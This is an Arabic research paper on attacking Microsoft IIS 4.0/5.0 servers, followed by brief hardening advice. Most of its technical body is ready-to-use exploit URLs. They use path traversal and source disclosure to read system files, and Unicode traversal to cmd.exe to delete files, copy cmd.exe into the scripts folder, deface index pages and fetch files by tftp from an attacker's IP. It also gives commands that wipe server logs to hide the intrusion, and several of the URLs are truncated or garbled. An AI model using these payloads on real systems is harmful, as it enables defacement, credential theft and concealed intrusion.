إختراق مخدمات مايكروسوفت IIS (IIS Servers)

وكيفية الوقاية منها

الباحث:شادي شماس

ملخص البحث

لقد فرض عصر التكنولوجيا أو ما يدعى بعصر العولمة تغيرات كثيرة على شتى مجالات الحياة، وأصبحت هذه التطورات الحديثة في التقنيات جزءاً لا يتجزأ من حياة الإنسان المعاصر، وبدأت الدول بالتسارع والتسابق لدخول العالم بأوسع أبوابه، فالكل حاول ومازال يحاول إيجاد أفضل وأسهل و أئمن الطرق للدخول في هذا النظام العالمي الجديد بشتى الطرق والوسائل، مما جعل العالم أشبه بقرية واحدة، وفي يومنا هذا تقوم الشركات والمؤسسات وحتى الأفراد بإنشاء أو بناء موقع على تلك الشبكة العالمية السحرية (Internet) وذلك إما لإتمام عمليات البيع والشراء الإلكتروني، أو بهدف التواصل بين هذه الشركات أو المؤسسات وعملائها للإطلاع على آخر عروضها وأخبارها ومنتجاتها، أو لغايات أخرى عديدة ومتنوعة معروفة للغالبية العظمى من الناس المهتمين بهذا المجال.

في هذا البحث أجريت دراسة وافية عن مفهوم الإختراق وآلياته فكثيراً ما نسمع عن قراصنة الإنترنت أو الهكرز (Hackers) و لكن معظمنا لا يعلم شيء عن الوسائل و الثغرات ونقاط الضعف المتوفرة في المواقع والتي يستخدمها المهاجمون في عملهم ولكننا في هذا البحث سوف نتعرف على أحد أنواع الثغرات التي يتم الإستفادة منها وإستخدامها من قبلهم في عملية الإختراق وهي ثغرات مخدمات IIS والتي تعمل تحت بيئة نظام التشغيل ويندوز وسوف نتعرف أيضاً بشيء من التفصيل عن أهم وأشهر أنواع هذه الثغرات المتوفرة وكيفية إستغلالها أو إستثمارها، وما هي السياسات والإجراءات التي يجب إتباعها للحماية والوقاية قدر الإمكان من هذه الثغرات التي تعتبر من أكثر الثغرات

إنتشاراً وتواجداً في المواقع الإلكترونية بالإضافة إلى أن طريقة إستغلالها أو الإستفادة منها سهلة للغاية.

كلمات مفتاحية:

ثغرات Unicode، إختراق المواقع، الثغرات الأمنية في المواقع، ثغرات المخدم IIS، الإختراق الأخلاقي

مقدمة البحث:

يعلم جميع المتخصصين الذين يعملون في مجال تصميم مواقع الويب (Web Page) مدى الإنتشار الكبير والواسع لسيرفرات أو مخدمات IIS (IIS Servers)، فهي تشكل النسبة الأكبر من السيرفرات المستخدمة في تشغيل مواقع الويب على الإنترنت، كما يعلمون مدى الضعف من الناحية الأمنية لهذه السيرفرات، فهناك ثغرات كثيرة لا يمكن حصرها وكل ثغرة يتم سدّها أو ترقيعها يخرج بدلاً منها مئات الثغرات، ويتم تطبيق هذه الثغرات أو إستثمارها من خلال شريط العنوان ضمن المتصفح (Explorer)، حيث يستطيع المخترق أو المهاجم الإستفادة من هذه الثغرات في التعامل مع الملفات والمجلدات التي تخص المواقع التي تعمل ضمن السيرفر (Server) كالقراءة والتعديل والحذف وتغيير الإسم والنسخ والنقل من مكان إلى مكان آخر ضمن السيرفر وغيرها من العمليات الأخرى وذلك بشكل سهل وميسّر ومريح ودون أي عائق ودون أن يستطيع أحد إكتشافه أو تحديد هويته، كما يستطيع أيضاً تغيير الصفحة الرئيسية (Index) وذلك إما من خلال رفع ملف إلى الموقع بواسطة أي برنامج FTP وليكن Tftp مثلاً، أو من خلال الكتابة داخل الصفحة الأساسية للموقع وهذا ما سيتم التطرق إليه من خلال هذا البحث.

هدف البحث وطريقته:

دراسة مفهوم الإختراق و الإختراق الأخلاقي وذلك نظراً للخطورة التي تنجم عن هذين المفهومين في هذا العصر والذي يعتبر عصر الإنترنت ومواقع الويب، والتطرق لأهم الآليات والأسس المتبعة من قبل المهاجمين أو المخترقين (Hackers) لمهاجمة المواقع

الإلكترونية و إختراقها والسيطرة على المخدمات والتحكم بها وبأنظمتها المعلوماتية التي تدار من خلالها هذه المواقع.

أنني أجري هذا البحث للتعرف بشكل أساسي ومفصل على ثغرات مخدمات مايكروسوفت IIS (Microsoft IIs Servers) بكافة إصداراتها والتي تعمل في بيئة نظام التشغيل ويندوز (Windows) و على مدى خطورتها وكيفية إستثمارها أو إستغلالها من قبل المهاجمين كونها تعتبر من أكثر الثغرات إنتشاراً في المواقع كما تتميز بسهولة إستثمارها، وأيضاً عرض لأهم أنواع هذه الثغرات ووظيفة كل منها وما هي الآلية يتم تطبيقها من خلالها، ثم التعرف على السياسات والإجراءات التي يجب إتباعها من قبل مدراء المواقع لحماية مواقعهم من هذه الثغرات وذلك للوصول إلى أعلى درجة من الأمان وتحقيق الموثوقية في العمل مع هذه المواقع.

المناقشة

١ -مفهوم الإختراق(Hacking):

الإختراق بشكل عام هو القدرة على الوصول لهدف معين بطريقة غير مشروعة عن طريق إستغلال ثغرات في نظام الحماية الخاص بالهدف، وحينما نتكلم عن الإختراق بشكل عام فنقصد بذلك قدرة المخترق أو المهاجم على الدخول إلى جهاز أو مخدم ما بغض النظر عن الأضرار التي قد يحدثها، فحينما يستطيع الدخول إلى جهاز آخر لا يخصه فهو يدعى مخترق (Hacker) ، أما عندما يقوم بحذف ملف أو تشغيل آخر أو جلب ثالث فهو يدعى مخرب (Cracker)، وعملية الإختراق بغض النظر عن نوعها هي مثلها مثل عملية الإختراق لأي شيء كان، فلها طرق وأسس يستطيع المخترق من خلالها التطفل على أجهزة الآخرين ومواقعهم وأنظمتهم المعلوماتية وذلك عن طريق معرفة الثغرات الموجودة في ذلك النظام أو الموقع أو الجهاز، وغالباً ما تكون تلك الثغرات في المنافذ (Ports) الخاصة بالجهاز أو المخدم (Server)، وهذه المنافذ يمكن وصفها بأبسط شكل على أنها بوابات للجهاز على الإنترنت، ويجب التنبيه إلى أنه مادام الجهاز أو المخدم (Server) متصلاً بالشبكة فهو معرض للإختراق في أي وقت وبأي طريقة كانت وقد يتم الإستهداف من قبل أحد المخترقين (hackers) لسبب ما أو بشكل عشوائي، وربما يكون المخترق(hacker) خبير(Expert) فيمكنه الإختراق بشكل لا

يشعر به أحد، وعلى هذا فإن أفضل طريقة هي عدم وضع الأشياء الهامة والخاصة داخل الجهاز مثل رقم بطاقة الإئتمان أو الأرقام السرية، فكلمة مخترق لها معنيين، الأول وهو المعنى التقليدي وهو الشخص الذي يحب العبث بالبرامج والأنظمة الإلكترونية ويستمتع بإستكشاف وتعلم كيفية تشغيل أنظمة الحاسب، فهذا النوع من المخترقين يرغب بإكتشاف الطرق الجديدة وكيفية عملها إلكترونياً، أما المعنى الثاني فيطلق على الشخص الذي يقتحم المواقع بشكل خبيث وذلك للمكسب الشخصي، فهؤلاء المخترقون هم لصوص كمبيوتر مجرمون وهدفهم الشهرة والربح، فهم من الممكن أن يقوموا بتعديل أو حذف أو سرقة معلومات حرجة ومهمة[3][4].

٢ - الإختراق الأخلاقي Ethical Hacking :

في الآونة الأخيرة ظهر مفهوم جديد للإختراق يدعى الإختراق الأخلاقي (Ethical Hacking) وهو أن تقوم المنظمة أو الشركة بإبرام عقد مع جهة مستقلة لإختبار حماية أنظمتها من الإختراق، وتختلف بنود العقد من منظمة إلى أخرى بحسب حساسية المعلومات، ويمكن أن يكون الإختراق الأخلاقي من مصدر خارجي أو أن يكون عن طريق فريق داخلي منظم، والهدف الأساسي منه هو تمييز نقاط الضعف في أي منظمة وتحديدها، وهذه العملية تحتاج إلى تخطيط، ويجب أن تكون مقررة ومتفق عليها لضمان نجاح الجهود المبذولة في أداء الإختبار، فالخطوة الأولى من التخطيط تكون بإجتماع المختبر والجهة المعنية بالإختبار لتحديد خطة العمل وتحديد نوع الإختبار المطلوب وعدد الخوادم (Servers) والتطبيقات (Applications) المراد إختبارها، بعد ذلك يتم توقيع إتفاقية بين كل من المُختَبِر والجهة المعنية بالإختبار وتحديد موعد الإختبار والأجهزة المستخدمة ورقم عنوان الـ(IP)، ولكي تكون هذه العملية آمنه وقانونية لابد أن تحتوي الإتفاقية المبرمة بين الطرفين على شروط التسليم والخدمات وتفاصيل الخدمة بشكل واضح لكل الأطراف، ويجب التبيه إلى أنه بعد الإنتهاء من توقيع الإتفاقية وقبول الإدارة فليس هناك خطة أمن تضمن النجاح، بالإضافة إلى ذلك لا يمكن لخطة أمن تفتقر إلى دعم الإدارة أن تنجح، ويقوم المُختَبِر بجمع أكبر عدد من المعلومات المتوفرة عبر الإنترنت ويكون ذلك من خلال إستخدام تقنيات في الإختراق تدعى Google Hack، والتي تستخدم محرك البحث "Google" كمساعد لها في معرفة المعلومات المتوفرة عبر الإنترنت، وبعد مرحلة جمع المعلومات يقوم المُختَبِر بالتعرف على الهدف

المراد إختباره بشكل أكبر عن طريق مسح المنافذ الموجودة، ويقضي المُختَبِر معظم فترة المشروع المتفق عليها بإكتشاف نقاط الضعف وتحليل تلك النقاط، وفي نهاية عملية الإختبار يقوم المُختَبِر بكتابة تقرير مفصل عن جميع المخاطر ونقاط الضعف والثغرات المكتشفة مع تقديم نصائح وإرشادات لإغلاق تلك الثغرات وسدّها، وتشمل عملية الإختبار في الإختراق الأخلاقي على مجموعة من المعلومات وهي تعيين الأنظمة التي ستُختَبر والأخطار الممكنة والتسلسل الزمني للإختبارات وكميتها التي سيتم تنفيذها ومعرفة عدد الأنظمة الموجودة ونوعيتها وأخيراً ما الذي يجب القيام به عند إكتشاف نقطة ضعف في النظام، وعادةً يقوم المخترق الأخلاقي بمحاولة تفادي جميع المعوقات - أنظمة الحماية- التي يواجهها في سبيل الوصول إلى معلومة ليس من المفترض أن يصل لها، وأحياناً يُطلَب من المخترق أن يحاول الإطاحة بنظام قائم بهدف منع المستخدمين من الوصول إلى هذا النظام أو الخدمة، وتنتهي هذه العملية بتقديم تقرير مفصل عن مستوى الحماية الذي توفره المنظمة وما يمكن أن تقوم به من تحسينات لتفادي أحد الأضرار التي قد تمس بالمنظمة جرّاء محاولات قادمة، ومن المعروف فإن وجود إختبارات صحيحة وفكر سليم يمكن أن يوفر المال للمنظمة، والحماية لأنظمتها من لصوص الكمبيوتر حيث يكون هجومهم مخطط بشكل ممتاز وبالتالي فإنهم من الممكن أن يتسببوا في الخراب والدمار لأكبر الشركات والمنظمات، ولهذا السبب فإن عملية الإختراق الأخلاقي تحتاج إلى مزيد من الإصرار والصبر لكي تضمن الحماية والأمان ضد هؤلاء اللصوص الخبثاء[7][6][5].

٣- ثغرات المخدم (السير فر) IIS وأنواعها:

إن مخدمات IIS (IIS Servers) منتشرة بشكل واسع فهي تشكل النسبة الأكبر من المخدمات المستخدمة في تشغيل مواقع الويب على الإنترنت، وبالرغم من ذلك فهي تعاني من ضعف في الناحية الأمنية، حيث نلاحظ وجود العديد من الثغرات الأمنية التي يستغلها المخترقون في إقتحام المواقع الموجودة ضمن هذه المخدمات، وسوف يتم سرد أهم هذه الثغرات مع العلم أن معظم الثغرات التي سيتم ذكرها تعمل على سيرفرات IIS4.0 و IIS5.0 وجميعها تعتمد على المنفذ (Port) ٨٠، ويجب أن يكون متوفر لدى المخترق المتطلبات التالية لكي يستطيع إستخدام هذه الثغرات وهي -CGI

Scanner ويمكن تحميله من الإنترنت و Active Perl لتشغيل ملفات البيرل (Perl) ومخدم ويب (Web Server) مثل Appache أو IIS ومن هذه الثغرات لدينا:

Codebrws.asp & Shpwcode.asp:

الملفان عبارة عن قارئ ملفات Asp يأتي مع IIS ولكنه لا يأتي محمّل إفتراضياً بل يجب على مدير النظام تفعيله، فإذا كانت هذه العملية مفعّلة سيستفيد منها المخترق كثيراً فهي ستسمح له بقراءة أي ملف إمتداده asp.*، أي يستطيع رؤية المصدر، وإذا كان النظام مصاب فإنه بإستخدام الأمر التالي سيحصل المخترق على ملف السام (Sam) الذي يتم فيه حفظ جميع كلمات المرور لجميع حسابات ويندوز بطريقة مشفرة بتشفير يسمى LM Hash وهو موجود ضمن المسار c:\windows\system32 مع العلم أن هذا المسار لا يتم الوصول إليه حتى من قبل حساب المدير (Administrator) نفسه حيث أن الوصول إليه يحتاج إلى مستوى أعلى من المدير (Administrator) وهو النظام (System) و لا يمكن نسخ الملف أو حذفه أو نقله من داخل ويندوز مع ملاحظة أن التشفير يتم بطريقة معينة حيث يتم تقسيم كلمة المرور إلى جزئين وكل جزء بمستوى معين من التشفير، وبعد الحصول على هذا الملف سيقوم المخترق بعملية كسره في أقل من ٢٤ ساعة بإستخدام إحدى أدوات كسر كلمات المرور، وطريقة إستخدام هذه الثغرة تكون على الشكل التالي[9][8] :

http://ip_number/msadc/Samples/SELECTOR/showcode.asp?source=/../../../../../boot.ini
http://ip_number/iissamples/exair/howitworks/codebrws.asp?source=/../../../../../winnt/repair/setup.log

الثغرة Null.htw:

تسمح هذه الثغرة للمخترق برؤية الملف المصدري (Source Code) وذلك لأي ملف له اللاحقة (asp.*)، ولتنفيذ هذه الثغرة يتم الكتابة في شريط العناوين ضمن نافذة المتصفح السطر التالي:

http://www.name_of_location.com/null.htw?CiWe...HiliteType=full

وسيعرض هذا الرابط للمخترق الملف المصدري (Source Code) الخاص بالصفحة Default.asp [8][1].

الثغرة webhits.dll & .htw:

لكي يتأكد المخترق من أن النظام (الموقع) مصاب بهذه الثغرة يقوم بكتابة الرابط (Link) التالي http://www.name.com/blabla.htw في شريط العناوين ضمن المتصفح فإذا كان الرد على الشكل التالي:

format of the QUERY_STRING is invalid

فهذا يعني أن النظام الهدف مصاب بنسبة ٩٠%، وبعد ذلك يكتب السطر التالي لتنفيذ الثغرة والذي هو:

www.name.com/xxxxx/xxxxx/x...hilitetype=full

وذلك مع تغيير xxxxx/xxxxx/xxxxx/xxx,htw بأحد الملحقات التالية

Iissamples/issamples/oop/qfullhit.htw
Iissamples/issamples/oop/qsumrhit.htw
Iissamples/exair/search/qfullhit.htw
Iissamples/exair/search/qsumrhit.htw

وبالتالي سيحصل على ملف السام (Sam) الذي يقوم بكسره من خلال الأداة LC4[8].

[ASP::$DATA] Alternate Data Streams:

هذه الثغرة مخصصة بالتحديد لمخدمات IIS3.0 والآن تعمل على بعض مخدمات IIS4.0 ومهمتها عرض الملف المصدري (Source Code) لأي صفحة، ويجب التنويه إلى أن بعض الصفحات تحتوي على معلومات مهمة مثل كلمات مرور قواعد البيانات، ويمكن تنفيذ الثغرة من خلال كتابة الأمر التالي ضمن شريط العناوين ضمن المتصفح[8][11][10] :

http://www.name_of_location.com/default.asp :: $DATA

Asp dot bug :

تقوم هذه الثغرة بعرض الملف المصدري (Source Code) الخاص بأي صفحة ويتم تنفيذها بكتابة الأمر التالي ضمن شريط العناوين الخاص بالمتصفح:

http://www.name_of_location.com/sample.asp.

مع التركيز على وجوب وضع نقطة في النهاية، وهي فقط تعمل مع المخدمات IIS3.0 [8].

الثغرة .htr+:

تقوم هذه الثغرة بعرض الملف المصدري (Source Code) الخاص بأي صفحة ويتم تنفيذها من المتصفح بالشكل[8][11][10] :

http://www.name_of_location.com/global.asa+.htr

الثغرة site.csc:

تمكن هذه الثغرة المخترق من معرفة معلومات عن الـDNS الخاص بالموقع بما في ذلك DSN, UID AND PASS Database ويتم تنفيذها من المتصفح بالشكل التالي:

http://www.name_of_location/adsamples/config/site.csc

وبعد ذلك سيقوم المهاجم بإنزال الملف المذكور وسيحصل على معلومات قيمة وهامة [8].

الثغرة ISM.DLL Buffer Truncation:

هذه الثغرة هي خطأ برمجي يسمح للمخترق بسحب الملفات، ورؤية الملف المصدري (Source Code) وتقوم فكرة هذه الثغرة بالتحايل على المخدم بإيهامه أن المخترق قام بطلب ملف ما وفي الحقيقة هو يقوم بطلب ملف آخر، والملف المسؤول عن الخطأ هو ISM.DLL، حيث يتم تحميله بعدد كبير من الرموز المسافة (٢٠% فراغات SPACE)، ويتم تنفيذها من المتصفح بالشكل:

http://www.name_of_location/global.asa 20% >=230 global.asa.htr

حيث يتم وضع ٢٣٠ فراغ مكان الرقم ٢٣٠، وهذه الثغرة تعمل على مخدمات IIS4.0 & IIS 5.0 ولكن لا يمكن تجربتها على المخدم أكثر من مرة إلا إذا قام المخترق بتسجيل الخروج والدخول، وذلك لأن هذه الثغرة تؤدي إلى إيقاف الملف ISM.DLL عن العمل في الذاكرة، بينما تتطلب الثغرة أن يكون الملف المذكور قيد العمل ، لذا يجب إعادة تحميل الملف في الذاكرة مرة أخرى، بمعنى آخر أن يقوم مدير النظام بعمل إعادة تشغيل (Restart) أو تسجيل الخروج والدخول (logout & login) [8].

٤ - ثغرات اليونيكود (Unicode):

تم إكتشاف هذا النوع من الثغرات بواسطة NSFOCUS في سنة ٢٠٠١ وهذه الثغرات موجودة في مخدمات IIS 4.0 & IIS 5.0 وتعمل تحت أنظمة Windows (win2k/NT4)، ويتم إيجاد هذه الثغرات إما بواسطة البرامج اللازمة والمخصصة لكشفها سواء من خلال البرامج التي تعمل على نظام التشغيل Windows أو من خلال برنامج الشل (shell) الذي يعمل على نظام التشغيل linux، أو بواسطة تطبيق أحد هذه الثغرات على الموقع مباشرةً، وهذه الثغرات تُمكِّن المخترق من إدخال الأوامر بالقوة نظراً لصلاحياته المسموح بها، فعند تطبيق هذه الثغرات على نظام الـIIS5.0/IIS4.0 يبدأ ملف CMD بفك شيفرة البونيكود ومن هنا يتم إستغلالها، ويتم إستغلال هذا النوع من الثغرات من قبل المهاجم كمايلي[1] :

http://name_of_loction/scripts/..%5c..%...cmd.exe?/c+dir+c

حيث: http://name_of_loction: هو الموقع الهدف، أي الموقع المصاب بالثغرة المذكورة.

/scripts/: وهو مجلد (Folder) له إمتيازات تنفيذية على المخدم، أي يمكن للمستخدم (User) تنفيذ أي أمر على الويب سيرفر (Web Server) من خلاله، وهذا المجلد أيضاً هو المستخدم في تنفيذ سكريبت السي جي أي (Script's CGI) الموجود على الويب سيرفر (Web Server)، ويسمى هذا المجلد بالتحديد بالمجلد التنفيذي (executable directory)، وبالطبع هذا المجلد أو الدليل ليس له إسم ثابت، ويمكن أن يكون له أسماء كثيرة على الملقم IIS، وليس بالضرورة أن يكون على كل ملقم موجود هذا الدليل التنفيذي.

CMD : وهو التطبيق الموجود ضمن المسار winnt/system32/cmd.exe والذي يسمح بإدراج سطور الأوامر التي يراد تنفيذها، ويمكن الإستفادة منه في إستخدام أوامر مثل ping و netstat و traceroute وغيرها من الأوامر.

إشارة الإستفهام (؟): وهي تعني كلمة argument، أي الحالة التي ينفذ بها الأمر، فمثلاً قد يكون الأمر ينفذ بلحظة ثم ينتهي مباشرةً مثل الأمر copy، أو

ينفذ ولكن يستمر مفعوله، وجميع الأوامر التي يتم إستخدامها هي الأوامر العادية أي من نوع argument /c حيث c/ تعني أن الأمر ينفذ بلحظة ثم ينتهي.

الإشارة (+): فهي بمثابة المسافة بين الكلمتين في الثغرة وذلك لأنه لا يمكن ترك مسافات بين الكلمات في الثغرة، وبعدها عادةً يتم وضع الأمر الذي يحمله سطر الأوامر ليتم تنفيذه ثم إشارة (+) مرة أخرى ثم إسم الدرايف أو السواقة (drive) الذي يتم عرض محتوياتها على الشاشة حالياً.

ويجب التنويه إلى أنه في هذه الثغرات يمكن تشغيل ملف تنفيذي معين وذلك بكتابة الشكل Ping.exe+PRINT مثلاً بدلاً من cmd.exe?/c وبهذا تصبح الثغرة بالشكل التالي[1] :

http://name_of_location/scripts/..%5c..%.../ping.exe+PRINT

والآن نأتي إلى النقطة المهمة في الثغرة والتي تعتبر بشكل أساسي سبباً لوجود هذه الثغرة والتي تتمثل في حل شفرة العنوان أكثر من مرة، وهذا ما يطلق عليه التحليل أو الـdecode، والذي يتم فعله بهذه التحليلات الغريبة هو التحسين واللعب في مسارات الأدلة (Directories)، ولكن للأسف لا يمكن التغيير أو اللعب فيها لأن IIS مزود بخاصية عمل فحص (Check) على مثل هذه التحليلات ومنعها من التنفيذ وهنا يقع أصل ثغرة اليونيكود وهو التحليل لمرتين أو أكثر، حيث يتم وضع الثغرة و بها أكثر من تحليل واحد لنفس إسم الموقع ولذلك يقوم الـIIS بوظيفته المعتادة وهي عملية الفحص(Check) والمنع على التحليل الأول ويظهر له أن كل شيء بخير وأنه يسيطر على الموقف ولكن في الحقيقة أنه يقوم بعمل فحص لمرة واحدة فتكون النتيجة أن التحليل الثاني ينجح تماماً في محاولة اللعب في الأدلة وبالتالي يكون نتيجة التحليل الثاني هو أن يرجع لأصله، وأساس التحليل الذي يتم فعله في الثغرة هو ما يسمى Hexa Decimal Values، وهو يعني أن كل حرف أو رمز موجود له في الحاسوب ما يسمى بقيمة مقابلة له هي hex value فمثلاً ٢٠% يقابلها المسافة، ٢٥% يقابلها الرمز%، ٣٥% يقابلها الرقم ٥، ٦٣% يقابلها الحرف c وهكذا، وطبعاً يوجد جدول خاص بهذه القيم، وبالتالي فإنه يتم إرسال هذه القيم بدلاً من الحروف والحركات العادية إلى المخدم وهذا بالضبط ما يسمى

التحليل أو الـdecode، وبهذا نجد بأنه تم خداع الـIIS Checker من خلال تحليل الشفرة مرتين وبالتالي الحصول بالمقابل على الأصل و تكون الثغرة قد نجحت.

ويجب التنويه إلى أن ثغرات اليونيكود (Unicode) لا يمكن حصرها وكل ثغرة يتم إغلاقها يخرج بدل منها المئات، ويتم تطبيق هذه الثغرات مباشرةً في المتصفح وذلك بكتابتها ضمن شريط العناوين، مستغل بذلك ملف cmd.exe لتنفيذ أوامره، والمثال التالي يمثل ثغرة يونيكود والأوامر التي يمكن تطبيقها من خلالها[1]:

الثغرة:

---

http://www.xxxx.com/_vti_bin
\:c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c%../

أمر إنشاء دليل جديد:

---

http://www.xxxx.com/_vti_bin%../c0%af../..%c0%af../winnt/syste
m32/cmd.exe?/c+md+c:\DJ%../

أمر حذف دليل:

---

http://www.xxxx.com/_vti_bin%../c0%af../..%c0%af../winnt/syste
m32/cmd.exe?/c+rd+c:\DJ%../

الأمر المستخدم للنسخ:

---

http://www.xxxx.com/_vti_bin%../c0%af../..%c0%af../winnt/syste
m32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scri
pts\DJ.exe

الأمر المستخدم للنقل:

---

http://www.xxxx.com/_vti_bin%../c0%af../..%c0%af../winnt/syste
m32/cmd.exe?/c+move
+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\DJ.exe

الأمر المستخدم لحذف ملف

---

http://www.xxxx.com/_vti_bin%../c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del +c:\inetpub\wwwroot\index.asp

الأمر المستخدم لتغيير إسم الملف:

---

http://www.xxxx.com/_vti_bin%../c0%af../..%c0%af../winnt/system32/cmd.exe?/c+ren+c:\DJ.htm+DJKING.htm

الأمر المستخدم لرؤية محتويات الملف

---

http://www.xxxx.com/_vti_bin%../c0%af../..%c0%af../winnt/system32/cmd.exe?/c+type+c:\index.htm

الأمر المستخدم للكتابة داخل أي ملف:

---

http://www.xxxx.com/_vti_bin%../c0%af../..%c0%af../winnt/system32/cmd.exe?/c+echo+HACKED+BY+c:\DJ.txt+<+DJ+KING

ويمكن إختصار ثغرة اليونيكود حتى يتم التمكن من إستخدام الأمر Echo وتفعيله، ولتوضيح ذلك لنفرض أنه تم إكتشاف موقع يعاني من مشكلة الـUnicode وليكن على هذه الثغرة[1] :

http://www.xxxx.com/_vti_bin\:c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c%../

فيحتاج إلى نسخ ملف w3svc.exe إلى مجلد inetput\script والأمر يكون بهذه الطريقة:

http://www.xxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\w3svc.exe

وبعد القيام بعملية نسخ الملف إلى المجلد يقوم المخترق بتصفح الموقع من خلال الثغرة بهذه الطريقة:

http://www.xxx.com/scripts/ w3svc.exe?/c+dir+c:\

ويستطيع المخترق الكتابة داخل أي ملف وبالتحديد الملف الرئيسي للموقع (الصفحة الرئيسية) index الذي غالباً يكون في الدليل inetpub\wwwroot\index.htm بالشكل التالي[11] :

http://www.xxx.com/scripts/ w3svc.exe?/c+echo+Hacked+by+sNiper_hEx+hExRay@hotmail.com+>+c:\inetpub\wwwroot\index.htm

مع العلم أنه قد يحتاج المخترق إلى تغيير إسم الدليل ليكون أحد الأدلة التالية:

_ vti_bin , msadc, iisadmpwd , _vit_admin , scripts , samples , cgi-bin

ويجب التنبيه إلى أنه يمكن نسخ الملف cmd والغرض من هذه العملية هو لإعطاء إمكانية للكتابة داخل السيرفر في بعض الحالات ويتم نسخه الى مجلد السيكربت بهذه الطريقة[1] :

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.exe?c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cmd1.exe

الآن بالإمكان إستخدام ملف الـCMD الجديد في الثغرة بدلاً من الأول بهذا الشكل:

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd1.exe?c+dir+c:\

وهناك طريقة ثانية يمكن أن يتبعها المخترق لتغير الصفحة الرئيسية index وهي برفع ملف إلى الموقع وذلك بواسطة أي برنامج FTP وليكن مثلاً Tftp، حيث يتم وضع الصفحة المراد رفعها في القرص الصلب :c ومن ثم تنفيذ الأمر التالي[1] :

http://www.xxxx.com/_vti_bin /c0%af../..%c0%af../winnt/system32/cmd.exe?/c+tftp.exe+"-%../ i"+ip_number+GET+index.htm+C:\inetpub\wwwroot\index.htm

حيث ip_number هو رقم عنوان جهاز المخترق، والأمر Get يستخدم لطلب الملفات مابين المرسل والمستقبل إي مابين الإرسال والإستقبال، وبعد ذلك يقوم بمسح أثره من عملية الإختراق حتى لا يتم إكتشافه وذلك بكتابة الأمر التالي:

http://www.xxxx.com/_vti_bin%../ c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del+c:/winnt/system32/logfiles/*.log

أو يقوم بالذهاب إلى المسار c:\windows\system32 ضمن جهاز الضحية ويقوم بحذف الملف الذي إسمه log.*، ويجب الإنتباه إلى أنه ليس بالضرورة أن يكون ملف الصفحة الرئيسية للموقع يحمل الإسم index.htm، وإنما يمكن أن

يحمل أحد الأسماء التالية : index.html , default.html , default.htm , default.asp، كما يمكن أن يكون في مجلد آخر غير المجلد wwwroot.

٥- السياسات والإجراءات التي يجب إتباعها لتجنب عملية الإختراق عن طريق هذه الثغرات وحماية المخدمات والمواقع منها:

وجدنا أن الكثير من المخدمات تكون معرضة لعملية الإختراق، والكثير من الأشخاص المسؤولين عن إدارة هذه المخدمات لا يعلمون ما هي الأساليب التي يجب إتباعها لتجنب وقوع هذا النوع من المخدمات بين أيدي المخترقين، لذلك فإن من أهم السياسات والإجراءات التي يجب القيام بها:

-العمل على تقييد الوصول فنظام التشغيل يقدم مستويين أساسيين لأمن المستخدمين هما مستوى المستخدم المدير (Administrator)، ومستوى المستخدم المحدود (Limited) ، فالأول يسمح بتنفيذ أي إجراء يريده المستخدم ضمن النظام وبالتالي يكون في وضع الخطر وذلك لأنه يكون معرض لأية برامج خبيثة قد تثبت بعض الشيفرات على نظام تشغيل المخدم بكل حرية والثاني فهو بشكل عام أفضل لأنه لا يسمح بتثبيت أية برامج أو إحداث تعديلات في إعدادت النظام[2] .

-يجب العمل على تخصيص كلمة مرور (Pass Word) لكل حساب يتمتع بخصائص المدير[7] .

-يجب إجبار المستخدم على وضع كلمة مرور وتحديد أقل عدد مسموح لخانات كلمة المرور، وذلك بالذهاب إلى إبدأ ثم تشغيل وكتابة الأمر secpol.msc ومن النافذة التي تظهر يتم الضغط على Pass Word Policy ثم الضغط على Minimum Pass Word length وتحديد أقل عدد مسموح لخانات كلمة المرور[2] .

-يجب العمل على منع المخترقين (Hackers) من دخول النظام ويندوز حتى لو كانوا يعلمون كلمة المرور الخاصة بمدير النظام (Admimistrator) وذلك بإختيار إبدأ ثم تشغيل ثم كتابة الأمر services.msc ثم Secondary Logon ثم Apply وبهذه الطريقة يتم منع الدخول الثاني على الجهاز، كما أن خدمات Remote Desktop & Run As يتم تعطيلها أيضاً[2] .

-العمل على إنشاء حساب محدود الصلاحية، وهذه نقطة مهمة جداً يجب أخذها بعين الإعتبار والفكرة هنا تكمن في إنشاء هذا الحساب لإستخدامه بجانب حساب المدير (Administrator) للتقليل من الأخطار التي تنجم عن المهاجمين وفوائد ذلك تكمن في النقاط التالية[2] :

- ✓ إذا قام المخترق (Hacker) بإرسال ملف باتش (Patch) فإن هذا الملف عند تشغيله لن يستطيع إنشاء مفاتيح في مسجل النظام وبالتالي لن يستطيع أن يعمل عند بدء تشغيل النظام أو أن يقوم بتعطيل برامج ويندوز أو برامج الحماية، كما أنه لن يستطيع نسخ نفسه أو إنشاء ملف في مجلد الويندوز (النظام).
- ✓ المستخدم لن يستطيع الدخول إلى مجلدات أي مستخدم آخر والعبث بها.
- ✓ المستخدم لن يستطيع إنشاء أي نوع من الملفات في جميع محركات الأقراص الثابتة حتى الملفات النصية *.txt

-العمل على إستخدام أحدث النسخ (أحدث الإصدارت) من المتصفح وذلك لأن الإصدارات القديمة تحوي الكثير من الثغرات الأمنية والتي تجعل المخدم (Server) الذي يعمل عليه موقع الشركة الإلكتروني هدفاً سهلاً وطبعاً بالنسبة للمستخدمين (Users) الذين يشترون من خلال الشبكة يجب عليهم الحصول على نسخة مدعومة بقوة تشفير ١٢٨ بت [2].

